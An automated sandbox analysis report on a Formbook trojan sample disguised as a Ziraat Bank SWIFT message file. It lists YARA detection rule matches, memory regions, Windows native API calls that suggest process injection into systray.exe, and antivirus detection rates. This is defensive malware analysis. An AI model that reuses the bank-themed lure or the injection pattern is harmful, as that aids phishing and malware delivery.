          Source: Process Memory Space: systray.exe PID: 1312, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 1308, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: systray.exe PID: 1312, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017407982_2_01740798
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017451AC2_2_017451AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017485782_2_01748578
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017485882_2_01748588
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017404F82_2_017404F8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017404E82_2_017404E8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017487592_2_01748759
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_017407892_2_01740789
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05496E402_2_05496E40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05496E502_2_05496E50
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_054954742_2_05495474
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_0549F0C02_2_0549F0C0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_0549F0AF2_2_0549F0AF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEA3F92_2_05FEA3F9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFC02_2_05FEAFC0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFBA2_2_05FEAFBA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEEEB02_2_05FEEEB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEEEA22_2_05FEEEA2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012941206_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127F9006_2_0127F900
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134E8246_2_0134E824
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A8306_2_0129A830
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013310026_2_01331002
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A06_2_012A20A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013420A86_2_013420A8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B0906_2_0128B090
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013428EC6_2_013428EC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342B286_2_01342B28
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AB406_2_0129AB40
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AEBB06_2_012AEBB0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133DBD26_2_0133DBD2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013303DA6_2_013303DA
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FA2B6_2_0132FA2B
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013422AE6_2_013422AE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01270D206_2_01270D20
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342D076_2_01342D07
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341D556_2_01341D55
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A25816_2_012A2581
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128D5E06_2_0128D5E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013425DD6_2_013425DD
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128841F6_2_0128841F
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133D4666_2_0133D466
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341FF16_2_01341FF1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0134DFCE6_2_0134DFCE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01296E306_2_01296E30
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133D6166_2_0133D616
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01342EF76_2_01342EF7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004012AC6_2_004012AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004228FF6_2_004228FF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004223306_2_00422330
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040B4476_2_0040B447
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004044C76_2_004044C7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004044BE6_2_004044BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0042258E6_2_0042258E
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040FE776_2_0040FE77
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004046E76_2_004046E7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: String function: 0127B150 appears 72 times
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,6_2_012B9910
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B99A0 NtCreateSection,LdrInitializeThunk,6_2_012B99A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9860 NtQuerySystemInformation,LdrInitializeThunk,6_2_012B9860
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9840 NtDelayExecution,LdrInitializeThunk,6_2_012B9840
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B98F0 NtReadVirtualMemory,LdrInitializeThunk,6_2_012B98F0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A20 NtResumeThread,LdrInitializeThunk,6_2_012B9A20
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A00 NtProtectVirtualMemory,LdrInitializeThunk,6_2_012B9A00
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A50 NtCreateFile,LdrInitializeThunk,6_2_012B9A50
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9540 NtReadFile,LdrInitializeThunk,6_2_012B9540
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B95D0 NtClose,LdrInitializeThunk,6_2_012B95D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9710 NtQueryInformationToken,LdrInitializeThunk,6_2_012B9710
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B97A0 NtUnmapViewOfSection,LdrInitializeThunk,6_2_012B97A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9780 NtMapViewOfSection,LdrInitializeThunk,6_2_012B9780
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9FE0 NtCreateMutant,LdrInitializeThunk,6_2_012B9FE0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9660 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_012B9660
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B96E0 NtFreeVirtualMemory,LdrInitializeThunk,6_2_012B96E0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9950 NtQueueApcThread,6_2_012B9950
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B99D0 NtCreateProcessEx,6_2_012B99D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9820 NtEnumerateKey,6_2_012B9820
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BB040 NtSuspendThread,6_2_012BB040
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B98A0 NtWriteVirtualMemory,6_2_012B98A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9B00 NtSetValueKey,6_2_012B9B00
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA3B0 NtGetContextThread,6_2_012BA3B0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A10 NtQuerySection,6_2_012B9A10
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9A80 NtOpenDirectoryObject,6_2_012B9A80
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9520 NtWaitForSingleObject,6_2_012B9520
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BAD30 NtSetContextThread,6_2_012BAD30
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9560 NtWriteFile,6_2_012B9560
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B95F0 NtQueryInformationFile,6_2_012B95F0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9730 NtQueryVirtualMemory,6_2_012B9730
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA710 NtOpenProcessToken,6_2_012BA710
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9760 NtOpenProcess,6_2_012B9760
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012BA770 NtOpenThread,6_2_012BA770
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9770 NtSetInformationFile,6_2_012B9770
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9610 NtEnumerateValueKey,6_2_012B9610
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9670 NtQueryInformationProcess,6_2_012B9670
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9650 NtQueryValueKey,6_2_012B9650
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B96D0 NtCreateKey,6_2_012B96D0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041E057 NtAllocateVirtualMemory,6_2_0041E057
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004012AC NtProtectVirtualMemory,6_2_004012AC
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DE77 NtCreateFile,6_2_0041DE77
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DF27 NtReadFile,6_2_0041DF27
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DFA7 NtClose,6_2_0041DFA7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004014E9 NtProtectVirtualMemory,6_2_004014E9
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041DFA1 NtClose,6_2_0041DFA1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000000.289716737.0000000000BD2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamebqbz.exe< vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338665766.0000000007830000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331494195.0000000004121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCollins.dll8 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338561208.00000000076C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamePrecision.dll6 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.338627282.00000000076E0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameInspector.dllN vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePrecision.dll6 vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameInspector.dllN vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.328808477.00000000011D9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.318980299.000000000102D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeBinary or memory string: OriginalFilenamebqbz.exe< vs Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeVirustotal: Detection: 44%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeReversingLabs: Detection: 39%
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeJump to behavior
